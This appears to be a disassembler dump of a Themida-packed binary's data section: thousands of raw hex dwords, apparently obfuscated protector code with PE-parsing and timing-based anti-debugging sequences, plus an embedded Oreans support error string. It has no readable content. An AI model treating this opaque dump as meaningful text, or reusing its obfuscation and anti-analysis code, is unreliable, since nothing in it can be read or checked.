85BB013Fh dd 7AAC375Fh, 2560DBh, 5B520000h, 55FAD66Fh, 0B5935F73h dd 0BC8CD911h, 0CCC06F55h, 85BB0533h, 423Fh, 15D27F00h dd 36D9CBF2h, 5BD5179Bh, 55FAD66Fh, 0B5935F73h, 2B63C211h dd 912E3197h, 419211B5h, 6F55FFCDh, 7B33CCC0h, 21E06BCEh dd 0DA7B2489h, 522CDB28h, 9EAC221Bh, 0F038F855h, 3019DCF8h dd 3F7A18BAh, 0FFFFFEA4h, 0D3625B01h, 0ECE2D29Bh, 0B59125CAh dd 0CB489D11h, 0AC106697h, 0FDC1360Ah, 0F7CA670Fh, 422EDD65h dd 0B0C59218h, 4066BAFEh, 17FDC99Fh, 855CD223h, 0BFF57712h dd 0AFE3AB12h, 0C9AAB56Bh, 0CD1617FDh, 0FDCA00EFh, 6A75AB17h dd 0D617FDC9h, 59DD268Dh, 0C9ACB315h, 0CF1417FDh, 92ECDE8Fh dd 0FDC9333Ch, 0F9468F17h, 0AAB31D75h, 0FC17FDC9h, 0A501596Ch dd 0FEDEC2DCh, 27h, 148455CCh, 2D1FF73h, 0C811B593h, 0F2B22AD5h dd 915718BEh, 9AEB11B5h, 91F1FED0h, 45111B5h, 0C6A88Eh dd 5BEA0000h, 259BD362h, 0FF0BB49h, 0A0594D1Ch, 60F77BFAh dd 0A1075B13h, 17FAB7BEh, 8B36A902h, 15C4880Eh, 1155E5A4h dd 0FAB7B0BFh, 0CE7D6E17h, 6981E67h, 0C27C233h, 6C2BC29Eh dd 0D02278C5h, 940A44F5h, 16439390h, 0ADB2142Ah, 151E43B5h dd 620B43C0h, 0FF4AD271h, 0C92B7F0Eh, 0F93D7DCCh, 0E162EF4Ch dd 4AC08AEEh, 8CBA3564h, 3A74811Ch, 630CA2E6h, 0DF248CBCh dd 0D6C90096h, 89C18473h, 8CBC4817h, 0EE6BF824h, 8D38AB7Eh dd 871CDEA5h, 6B6DBD77h, 796h, 27854CB9h, 0C725DED2h, 5BC18272h dd 0F06C1F8Eh, 9616BB29h, 0FAE8AC34h, 9002D755h, 2FA069F3h dd 0CA3D0C90h, 0A2ECAD3Fh, 0FDFB630Ch, 0B692DF17h, 6C32CDC0h dd 0C3672295h, 12CDD060h, 2478E49Fh, 9121CEE0h, 0EDDF11B5h dd 0EA60F550h, 7AA83AACh, 3865D8h, 5B570000h, 6A1B8B62h dd 0F6B80534h, 0EA6197B2h, 65DF8F9Fh, 465BCF11h, 88DD0FF1h dd 74AAEED2h, 17FB3E6Bh, 26088ED7h, 17FB402Dh, 0BAE0E563h dd 0DEC0552Ch, 5177h, 625B4500h, 96479BD3h, 8EDBBC23h dd 0B8DA2E8Dh, 99A9B73Bh, 1F0FF104h, 0C63990D6h, 8CD27363h dd 0AD7CE06Dh, 99DB8F3Ah, 89CD8D3Ch, 0EB79F59Ch, 63F7C9FDh dd 3679A15Dh, 0B225F416h, 0AF348317h, 1EC42EFh, 0C922F3A0h dd 0CECC0268h, 61F53DFBh, 0F855F1EFh, 5F42718Eh, 0FE9D114Dh dd 0EB5A7302h, 0C47D0DA3h, 9D00FF0h, 0DA853B9Bh, 6617FAE4h dd 2BCA901Dh, 0A80E10A7h, 17FAE4C7h, 4A6DEA7Bh, 91B56A6h dd 35840158h, 371B4365h, 50A5D6ACh, 2086DA1Eh, 0DEB6393Fh dd 955A7283h, 2DDEB639h, 387A52D8h, 4C622C9Dh, 0DCF1519Ch dd 0CC9DDD26h, 4A1F0AD9h, 0CE4D34F5h, 9B0EDB41h, 0AB87C6E0h dd 0C44437F5h, 64192h, 0EAA10E00h, 8A33A772h, 36D7C712h dd 0D17463B6h, 7B10FE4Bh, 0BD576FE1h, 0D722BA4Fh, 75C458E5h dd 9267C584h, 81F8641Fh, 0FCB8A719h, 0FF0817FDh, 32CDC0D9h dd 6959006Ch, 0BFB52D8h, 98CE27Ah, 0D4D0F6B8h, 660FFDC0h dd 2165491Dh, 0FDE2E08Fh, 5B136017h, 0FDE27A65h, 39BDC617h dd 775FF0E0h, 6AF842ECh, 0D7CD8B1Fh, 0F8000005h, 11D8440Bh dd 0B178E49Dh, 0CD1C8041h, 68B12BDEh, 0F557D57Ah, 14B927EDh dd 0B24F4188h, 5FEEDF2Ah, 0FE897CCDh, 0CDE32B6Eh, 17FDFD22h dd 5577519Eh, 0FC721584h, 0ECAE1FBEh, 0B73BCE3Dh, 0C0D3D5CBh dd 29710FFDh, 5FBD37Ch, 0F6A60B4Ch, 17FDF2E9h, 5016B727h dd 74F102A1h, 0F0270F3Ah, 0A40BCAE9h, 2F9F762Eh, 6C31B49Eh dd 0BECA6AF8h, 56518h, 0D67D6A00h, 760F8356h, 12B323F6h dd 0BD50BF8Ah, 27ECDA2Fh, 997B03C5h, 3306662Bh, 519804C1h dd 0EE3BA160h dword_574C40 dd 0BDDC40FBh, 0FD945B7Dh, 0A32C17FDh, 0F7625BE5h, 39F4173Ah ; DATA XREF: Themida_:00540924o dd 1C5EDB8Bh, 0FEB972BAh, 0E7BBC80Fh, 0C5ED9E0Eh, 6AF93B66h dd 13B32565h, 3C000005h, 55A438CFh, 0F544D861h, 11D84405h dd 0AC7DEFA2h, 0B113893Eh, 0C87D6B29h, 76138554h, 13B223F6h dd 0B24D4089h, 892F6F2Ah, 17FDFDE6h, 0C00B0D5Ah, 956C32CDh dd 19C36722h, 5E92C2DBh, 0B5917778h, 34BACB11h, 0CD5FEADDh dd 31CEC0E9h, 8F46CC6Dh, 8981AC1Ch, 42555FD3h, 0B7521D3Fh dd 1E9011B5h, 6CB1C261h, 164CC97Eh, 0B5B99A48h, 92BFC311h dd 8F818B4Bh, 4DBC6113h, 0C155E4BAh, 0CFF3A43h, 85EB71h dd 0CDC7F9B1h, 6F0FFE31h, 0E35C2DC2h, 9C194C2Bh, 0B5980BD2h dd 0A5078445h, 0CC6B64C1h, 1C66126Dh, 7389BDBBh, 91E5860Fh dd 0E4BA45B8h, 2FE2D198h, 4559FA7Bh, 0C6DC0B61h, 0FBD28016h dd 43AE004Ah, 0F3164673h, 6238CB3Ah, 0E16E178Bh, 90032A64h dd 0DB8F3AADh, 0FA4FDD5Ah, 501FB107h, 0F01E4695h, 7C40E663h dd 95D98638h, 1C691E46h, 50E12496h, 0B866B81Eh, 8BD81C81h dd 86150AABh, 1FB9F177h, 40Ah, 0AB31D8C5h, 4BD16A5Eh, 0EF7D0EFEh dd 8418AB1Ah, 1A8247B5h, 867420B8h, 1C8E5BC1h, 0BB2CFD6Fh dd 5649900Ch, 0D65831ABh, 0FDFFEFF0h, 2065317h, 6C32CDC0h dd 5672295h, 9FDF6EAFh, 0FA04DBCEh, 2376DEDCh, 6C8DD15Eh dd 2266BAE6h, 0B5A6E38Ch, 4D12B411h, 0F511B5A6h, 3AB0C560h dd 0F0B6DE14h, 0FCEAB30Fh, 0EF74C357h, 0D83E15BBh, 0F41417FAh dd 0E93DA9F1h, 3C66DEBFh, 54000000h, 9BD3625Bh, 0F09DF125h dd 6B5E4F0Fh, 410F53D0h, 17FA9792h, 154558C8h, 0DEBFAC91h dd 0CCCAh, 1DAB8600h, 7B645A6Ah, 0C717F9B0h, 455015BEh dd 21CEE0AAh, 0A117FA14h, 0C0ECDE54h, 956C32CDh, 1286227h dd 267EF48Dh, 0FDA15C4Fh, 9616B124h, 0B59DECB4h, 0AA90BD11h dd 270626DDh, 2EA178FEh, 0CDC00993h, 8F0E6C32h, 48D57666h dd 0BEF2A006h, 3F440FF0h, 0BAC6C7ADh, 1A4005F3h, 0D62E311Bh dd 419217FAh, 1C148AC4h, 0A6164272h, 5C4C1D5Dh, 6B50A58Fh dd 119E2F94h, 9A08D19Dh, 34A277F5h, 3714B79Fh, 0A3E7713Ch dd 2E135h, 4A01EE00h, 0EA9307D2h, 9637A772h, 31D4C316h dd 0DB705EABh, 1DF78F41h, 0B7821AAFh, 0D524B845h, 72C725E4h dd 2158C47Fh, 18C7F9h, 5FA817FEh, 3DD2C079h, 0DC675AAFh dd 49BD6C40h, 0C74BEAB0h, 0D3625BE5h, 25DED29Bh, 367AF001h dd 0F09E8690h, 0F7AB380Fh, 0FA97FAE9h, 0ADB05017h, 0BFADF9EDh dd 0E0A2DEh, 0BF6E0000h, 0A38BE4Fh, 6C32CDC0h, 0CB3A2795h dd 0E74FF11Ch, 37B4DDBEh, 2145C273h, 0B5E5F1BFh, 0FBA2D11h dd 0AE594C9Dh, 0F7E5B4F8h, 69ED0C52h, 6B23922Bh, 0DDEEF1D7h dd 15211B5h, 33EFC18Dh, 6E0FF0F2h, 3BBF4EBFh, 9FD5579Ch dd 8BCF8F3Eh, 0EC835C9Eh, 0E7EA4BFCh, 0A114C98Dh, 114E90E6h dd 0B1164328h, 55436A24h, 0C74BEAB0h, 0AD03479Bh, 1E433CC2h dd 0A861F57Eh, 0C217953Ah, 0D77667D4h, 3DE56293h, 713D9BD0h dd 0EF490F9Bh, 0E0000001h, 79C05CF3h, 9960FC85h, 35049829h dd 509903C6h, 9D3FAD62h, 0ECA10F05h, 8A37A970h, 37D6C712h dd 0D67164B5h, 0D5CB3356h, 17FE010Ah, 0C06F29B6h, 11DEF0D2h dd 0B111B591h, 912837E9h, 4B9811B5h, 0EDB41CEh, 0E245B89Bh dd 0EC0D51F2h, 0BD3A3B6Fh, 0CDC0312Fh, 22956C32h, 7AD767h dd 37BA3426h, 7A3AD45Ah, 9A24B4CFh, 65E9C307h, 17279637h dd 0F0A3E9B1h, 74064F0Fh, 9BD19E30h, 0E47117FAh, 0BBA8366Eh dd 117FA9Dh, 0D4ADF190h, 0D60327E0h, 0E63D6E3Fh, 0C75180A8h dd 0A165BBEh, 433FA7F3h, 3C18DEC0h, 0AA000000h, 9BD3625Bh dd 0BDA5EA47h, 0B9D53BABh, 0C2A72B35h, 0C4110FF0h, 1A8B529Eh dd 705E376Bh, 0E97687DBh, 0E6885B65h, 42DE17FAh, 0FB871F3Bh dd 0DDCDEBFh, 86B7EB9Eh, 2E4030h, 55720000h, 91B0BF11h dd 0C31011B5h, 0EDB8F762h, 0FB7F8275h, 0B676FDD5h, 0BA1C5011h dd 11B675B5h, 72F80Dh, 447A3485h, 0FF181CEh, 53811B68h dd 9BD3625Bh, 74ACEA47h, 4AF52DA0h, 0B6258B54h, 21AE3711h dd 0FB7F08FCh, 0F12529D5h, 184E970Fh, 0FB279DB6h, 5055F317h dd 0C0389C0Ah, 24C7DEh, 37F50000h, 11B5931Ch, 0ADED5C79h dd 0F09D970Bh, 0AF23CA0Fh, 8A378016h, 72ADC167h, 0BFFF7C1Ah dd 0C64CFFEEh, 11556A48h, 91F4FBDDh, 74C11B5h, 0B5914A15h dd 0B35BF411h, 39EBCF9Dh, 47806D9Ah, 2FE5454Eh, 0AF6E2CA2h dd 0D27A5C1Eh, 680FFDF2h, 0FBEE471Bh, 9A0DDC40h, 8D15BBEFh dd 5517D08Bh, 26FFA366h, 0B84F13B8h, 1EB22538h, 970AC5D8h dd 68344B4h, 0A56053A6h, 16B92881h, 0CF031750h, 3A8106E9h dd 0A529BA18h, 0A7761E27h, 0C9009637h, 0FDB12BD6h, 815807B9h dd 9BE8183Ah, 30CB3E17h, 6357066Ah, 30254DAh, 4C000000h dd 0D3C0716Fh, 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h dd 6D5B3268h, 0BC2B82D8h, 0CFC5509h, 5A4E277Bh, 5676FDA1h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 89502404h, 405E0h dd 0E8830000h, 24048704h, 243C895Ch, 68068h, 241C8900h dd 0B76833BFh, 43DF876Bh, 0E7C1DF87h, 0BEEF8107h, 68D56BC6h dd 0AEBh, 83242489h, 5B042404h, 23F168h, 243C8900h, 8B08438Fh dd 8951241Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h, 2434FF5Ch dd 4C4835Fh, 0FD0B2CE9h, 32B04CFFh, 0BA66B99Fh, 2F3AE590h dd 0B8D80B4Ah, 6487234h, 0E0FFC503h, 8B1E63Ah, 5BCDE443h dd 4AFDE0C2h, 72B53708h, 2B08E8B9h, 53708D49h, 5F091165h dd 1CECB0F8h, 25443011h, 2E29F438h, 3DF2B150h, 5AC1220Bh dd 1091B4CEh, 72C3DF3Ch, 742BCCA1h, 6ACF601Ch, 6F22E3EEh dd 5404D99Ah, 5F494285h, 63776FC7h, 56290C22h, 57DE3D62h dd 0D71C9D6h, 5004718Ah, 270C24B3h, 2252EB99h, 1B2FEA8Eh dd 14D3290Ah, 2BE61B0Ch, 0D824D90h, 83E9h, 52515300h, 5C8B5756h dd 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch, 45503B81h dd 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h dd 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h, 41FFC983h dd 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h, 3A0874C0h dd 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h, 48B0F04h dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h dd 0FE8CA8Bh, 92000000h, 8435BEACh, 0C916E98Ah, 0B06BDF25h dd 58FC801Bh, 0EE9h, 71132400h, 6DDC97Eh, 2F46E8E3h, 81B77926h dd 6B62C0h, 4820F00h, 66000000h, 0BAF318B9h, 6A28343Ch dd 0E668C281h, 188B95D7h, 9D1BA0B9h, 71F38123h, 0E8347AA7h dd 5 dword_575390 dd 8B766E5Eh, 0E9816655h, 815E140Ah, 0D95EB2C3h, 81CF8A5Ch ; DATA XREF: Themida_:00540850o ; Themida_:00540A84o ... dd 960B04C3h, 4800F12h, 66000000h, 89458EB9h, 7E818h, 35D10000h dd 0B6BCB4CDh, 0FABF0F80h, 2E88359h, 33E18166h, 0F4848DEh dd 0EA83FBBFh, 22850F01h, 0E9000000h, 0Eh, 0E851A10Bh dd 6FEE2B14h, 0E9653017h, 22E9D69Fh, 16000000h, 811A8BADh dd 1D9BED5Eh, 0CB8B6626h, 0FFFF79E9h, 2BF56DFFh, 439CA329h dd 0E2EDAF7Ch, 0B7B45EB6h, 400E9E0h, 0 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset loc_55FFFF+1 dd offset dword_445750+0A8B0h dd 0 dd 0B4E90000h, 0E9000013h, 5, 0F3EE6784h, 0E1858B9Ah, 6006451Dh dd 10E8h, 28107000h, 0E609F23h, 7F4DF9BDh, 9CE95066h, 0D59501C1h dd 5A064530h, 443961F9h, 850F0424h, 0B2h, 58D0F60h, 66000000h dd 1523D181h, 0BD8361F5h, 6450449h, 97840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0D5A2C350h, 4CAE2FDEh, 858DC21Fh, 64539FBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A6C35242h dd 0F4ED61F6h, 9D29D337h, 64524C1h, 13E9h, 6F547300h, 0C9250B5Dh dd 0C9C4912Ah, 491EA6Bh, 47CFFB84h, 6AE0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1EB1D8C3h dd 0CD958960h, 8B064524h, 4520E985h, 858B6106h, 6452BE5h dd 4DBD89h, 44390645h, 850F0424h, 43h, 0B733BB60h, 0EDB84AECh dd 610EFD80h, 78A385C7h, 10648h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 92DE0EC3h dd 77B88C68h, 607EE41Ch, 961BD89h, 60610645h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 19C35040h, 447C2AE2h dd 7D4C118h, 0BD09F944h, 6450191h, 0AE9h, 458D3100h, 64517h dd 0B8000000h, 1, 7A288587h, 0C00B0648h, 0B5FFF675h, 6451829h dd 789B858Fh, 206A0648h, 95FFFF6Ah, 645328Dh, 3105BD83h dd 74000645h, 0FF006A08h, 45312195h, 69BD8306h, 1064501h dd 80680D74h, 6A000000h, 8D95FFFFh, 6A064532h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 3583C355h, 85892A37h, 6450521h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 63C35242h, 0C22879A1h, 2B49A22Fh dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 85892F2Eh, 64521B9h, 2824548Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E7C35141h, 8258D89h dd 85890645h, 64506FDh, 0CA816660h, 0B589D9A2h, 645042Dh dd 3CBE61h, 0F600000h, 385h, 0F78B6600h, 2569B529h, 3610645h dd 29242474h, 451D0185h, 0C6806006h, 6145B489h, 6AAD66h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 7A0FBEC3h, 1FF5BD89h, 8F0F0645h, 0Eh, 9E9h, 0CB011300h dd 19466A47h, 44030969h, 66602424h, 8501D18Bh, 6451959h dd 60605061h, 0CB8B5B51h, 12E861h, 0A6660000h, 0FE3D8F60h dd 0F1214DB3h, 9028676Eh, 773B92E3h, 615ED78Bh, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 60DCC350h, 20098D89h, 0D6810645h, 2A2A35EEh dd 78408B61h, 0A3BD83F8h, 64878h, 12A850Fh, 9D890000h dd 6450DA5h, 158E0F50h, 0E9000000h, 10h, 0AD790CA9h, 72D4D6A4h dd 341821C2h, 4CB6E04Eh, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9A8CC355h dd 68E0F8Bh, 31000000h, 450545BDh, 24448B06h, 53006A2Ch dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0A593C264h, 0C850F73h, 0F000000h, 681h, 0F9952900h dd 90064529h, 0F605250h, 83h, 0F525000h, 61585A31h, 0BE9310Fh dd 0F3000000h, 0E3EFA302h, 5C58163h, 585AB0F7h, 0F525050h dd 288h, 0F616000h, 60525031h, 50310F61h, 5A310F52h, 5A585A58h dd 6A9058h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 34F6D3C3h, 8D9C1B5Ch, 484A5B85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0CBDBABF1h, 12840FA1h, 0E9000000h, 0Dh, 0F11A9B14h dd 1C240431h, 29E42DC3h, 0F9D0FF36h, 28244403h, 0E830Fh dd 9E90000h, 8B000000h, 939CD373h, 0F46CC9DFh, 6A18408Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0ED78C356h, 0C46CB9C5h, 53006A40h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 79BD2938h, 0E9064510h, 0Bh, 18418779h, 0AF71F254h, 89A09748h dd 48789F85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 6A58FDh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 6055D5C3h, 7822BB66h dd 6880Fh, 8A0F0000h, 0 dd 8D8B6061h, 6450019h, 14E8h, 0DB401700h, 0E84F748Eh dd 2A75BDF2h, 6E3A9AB5h, 0A3DFED5Ah, 0E781663Ah, 61592A16h dd 6A78708Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0B8FC352h, 0F53E6A6Fh, 0E91CC683h dd 12h, 0DE9D32Eh, 79FE43D6h, 0F0AF291Fh, 0FF191426h, 0F96FD63h dd 689h, 0C99D2900h, 0F06452Eh, 689h, 5958900h, 8106451Eh dd 24247Ch, 0F100000h, 0F987h, 0C820F00h, 0F000000h, 682h dd 61958900h, 50064507h, 8800Fh, 860F0000h, 2, 4896160h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0F26093AFh, 5AB1BCA5h, 448BF5E6h, 820F2824h dd 1, 11E990F9h, 47000000h, 17A82285h, 94C80DF3h, 0D88D2005h dd 59B6B75Ah, 0DAB26050h, 0F525060h, 0E8585A31h, 11h, 44F90221h dd 8A748BC7h, 130B4379h, 0C7E66E0Eh, 61615A4Dh, 0A1858990h dd 8D064507h, 484A5B85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 39522606h, 429C5422h dd 6AD0FFCDh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 3661C352h, 0FF6B1C0Ch, 0B509AA85h dd 6452001h, 8E9F9h, 74170000h, 806756A6h, 6A9685F2h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 3D03C350h, 0D9D294Ah, 2906451Dh, 451F85BDh, 8D850906h dd 3064518h, 0E9242474h, 13h, 0F14F7327h, 7936542Ch, 52DBE427h dd 9634E09Ch, 8DC918BCh, 452351BDh, 68C0F06h, 29000000h dd 4507DDB5h, 6AAD06h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0C497EC3h, 0D23C3199h, 60B08035h dd 816117B7h, 24247Ch, 0F100000h, 11287h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 658D899Fh, 50064523h, 52505250h, 310F5250h, 310F585Ah dd 870Fh, 585A0000h, 830F310Fh, 6, 310F5250h, 585A585Ah dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0D1EAC356h, 0D7A44CADh, 8A0F2945h dd 6, 32E5B501h, 448B0645h, 9E92824h, 0DE000000h, 2F158FC8h dd 8706B9FFh, 52506050h, 310F06B1h, 585A5B53h, 24048961h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 9CC35646h dd 8D293844h, 6450D81h, 4A5B858Dh, 6A0648h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 37E577C3h dd 6A38DBDAh, 0C5B52951h, 0FF06452Bh, 53006AD0h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 49A11354h, 3F8617Dh, 89242444h, 451FB995h, 658D2906h dd 0AB064508h, 88C0Fh, 890F0000h, 2, 0FA816160h, 10000h dd 87F820Fh, 0E8600000h, 13h, 699259F6h, 3DF62A3Ch, 9B33DA9Fh dd 25CD8C6Bh, 5FE4BDDBh, 11E860h, 95E10000h, 116048F2h dd 0A9CDE8F0h, 0E4C3855Eh, 5892A877h, 0BD8D6161h, 6451E51h dd 11E9h, 3D660200h, 9768030Fh, 96D32DC0h, 0EA8F7751h dd 6AAD252Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 8397C353h, 0A2CF3061h, 7E9h, 5B0F8500h dd 0E079A96Eh, 24247C81h, 10000000h, 112870Fh, 8D0F0000h dd 6, 80DB531h, 0E9900645h, 0Ch, 1CA08C70h, 0A9B294BFh dd 467967B5h, 0C8C0F50h, 0F000000h, 686h, 0F525000h, 90585A31h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B6C35747h dd 10A9BD89h, 81600645h, 0D60441F0h, 14E90Bh, 3C9A0000h dd 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h, 8B617C3Ah dd 6A282444h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0AE80C352h, 78487ADFh, 11D6DB28h dd 25319589h, 50500645h, 8A0F6052h, 0 dd 50310F61h, 0F525052h, 0F585A31h, 5A616031h, 89585A58h dd 8E92404h, 14000000h, 29F122C4h, 0F8186079h, 4A5B858Dh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 5A596EC3h, 3D2D32FEh, 0FE944h, 0FBBE0000h dd 3BEC2CA9h, 0E522D59h, 87AD1ADFh, 0F9D0FF75h, 24244403h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 60C35545h dd 0BAD6D2CFh, 0E9525090h, 9, 0CB5AF4EAh, 0BC706786h, 60310FD2h dd 830Fh, 58500000h, 50585A61h, 88B0Fh, 8C0F0000h, 2, 6A906160h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 2BBBC353h, 11E9h, 0EC6A3500h, 0B395F859h dd 2A5FFC12h, 429AED57h, 60AB756Bh, 858BF18Bh, 64522D1h dd 0EDBD8D61h, 6A064518h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 12EEC357h, 4B5C0429h dd 0E9DB92C3h, 9, 1A112A49h, 82D79BAFh, 8960AD6Dh, 451FA5B5h dd 6E906h, 8BA20000h, 5F45C5C1h, 6800F61h, 89000000h, 452BEDB5h dd 247C8106h, 28h, 0E7870F10h, 9000000h, 45336585h, 880F5006h dd 0Eh, 6E860h, 54310000h, 0C226F6E5h, 4896159h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0A4D0022Eh, 24448BCBh, 0BD89602Ch, 645137Dh, 0F8C98166h dd 0F9061ECh, 887h, 5A506000h, 40FBB866h, 52505061h, 0F525060h dd 0E9585A31h, 0Eh, 0B3062DC5h, 0F1BC65D5h, 0D56564A3h dd 0F61ED87h, 0CE931h, 19970000h, 11D2CE8h, 610E3CADh dd 585A4A55h, 0E58D8990h, 0FC064528h, 4A5B858Dh, 6A0648h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 4BF0CAC3h, 368ECD97h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 7D1792C3h, 0BEF0172Fh dd 4403F891h, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 7F0442C3h, 0F0EAE857h, 0CE92Bh dd 71FD0000h, 57CF8BA0h, 480798B8h, 6E9CB7Fh, 0C7000000h dd 3CC000CEh, 9501AB53h, 6451305h, 9F8DFF5Eh, 83064878h dd 48789FBDh, 0A750006h, 0B58DC033h, 64888C0h, 0AD56E6FFh dd 28247C81h, 10000000h, 8B500E77h, 502C2444h, 4A5B858Dh dd 0D0FF0648h, 28244403h, 8ADF8B97h, 48789B85h, 74C08406h dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah dd 0C6835E0Fh, 0FD85FF04h, 0E9064506h, 0FFFFFF5Dh, 52006A5Eh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A954989h, 89573961h, 4510A5B5h, 68B0F06h, 31000000h dd 4524F19Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 860F409Eh, 0Dh, 0D8816660h, 820FA6A3h dd 0 dd 0FD858B61h, 6A064506h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 3A35C350h, 7E99Fh dd 2D8E0000h, 0A1A217C1h, 0BA66604Ah, 8E9F5F7h, 0DA000000h dd 0EC97343Fh, 61AD74F4h, 6AE0D1h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 52F1BDC3h, 0F4121BAAh dd 6E960h, 18560000h, 22118253h, 0ED850361h, 0F8064518h dd 0BEh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0EF5FE744h, 77AFA6AFh, 0BD89558Dh dd 6450185h, 1D958996h, 6606450Eh, 0F98589ADh, 0C106451Fh dd 858902E0h, 6452C79h, 23518503h, 6A0645h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 7A5DACC3h dd 0CE94Eh, 90570000h, 17916F98h, 0B4559372h, 6A96F904h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 163BC350h, 10E9D37Bh, 0F000000h, 8DB7B791h dd 0D885A515h, 11222462h, 8933F042h, 450B15B5h, 6880F06h dd 89000000h, 45179595h, 0BD31AD06h, 64500D9h, 24247C81h dd 10000000h, 133870Fh, 0AE90000h, 0E1000000h, 22A560DCh dd 60B2888h, 61F56071h, 0BF606050h, 5ACC7268h, 4896161h dd 81566024h, 10A231CBh, 0E9605E69h, 13h, 459D3128h, 0B36D11A7h dd 32CC29EAh, 21C4A923h, 0BB3CBBCAh, 1FFD2B6Bh, 448B6161h dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 900FF5C3h, 11E9h, 49C92200h, 0C01C33D5h dd 9159938h, 8FF1F0F0h, 0E9508D44h, 0Ah, 514ADDE5h, 6C57E343h dd 6A900CEAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0F0C5C357h, 157A4A7Ch, 89AA72ECh dd 450B2D95h, 